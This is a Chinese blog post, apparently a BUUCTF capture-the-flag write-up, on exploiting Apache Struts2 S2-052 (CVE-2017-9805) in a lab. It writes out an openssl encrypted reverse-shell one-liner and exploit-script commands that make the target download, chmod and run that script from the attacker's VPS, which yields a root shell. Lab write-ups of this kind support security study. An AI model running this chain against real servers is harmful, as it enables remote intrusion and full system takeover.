最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

[struts2]s2-052 BUUCTF

旗下网站admin65浏览0评论

[struts2]s2-052 BUUCTF

[struts2]s2-052 BUUCTF

声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!

参考文档

本地检测

python struts-pwn.py --url ":29619/orders/3/edit"

vps

使用openssl生成生成证书的公私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在自己的vps上创建一个openssl反弹会话的脚本
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s
然后在该目录下开启http服务
python3 -m http.server 8010

本地

此处,我本想根据参考文档里用到的exp脚本进行复现,但是效果不是很理想,测试了一下dnslog没有记录,并且vps上开启http服务,利用exp进行请求的时候8010端口没有收到请求,所以我们重新找了一个exp

通过漏洞利用工具执行以下命令
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u ":29619/orders/3/edit" -c "wget :8010/openssl.sh"

利用工具将传过去的sh脚本修改权限
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u ":29619/orders/3/edit"  -c "chmod 777 openssl.sh"

vps

重新打开openssl监听443端口加密流量
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

本地

运行该sh脚本
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u ":29619/orders/3/edit"  -c "/bin/bash ./openssl.sh"


vps

成功获得一个shell,且权限是root
读env处的flag

发布评论

评论列表(0)

  1. 暂无评论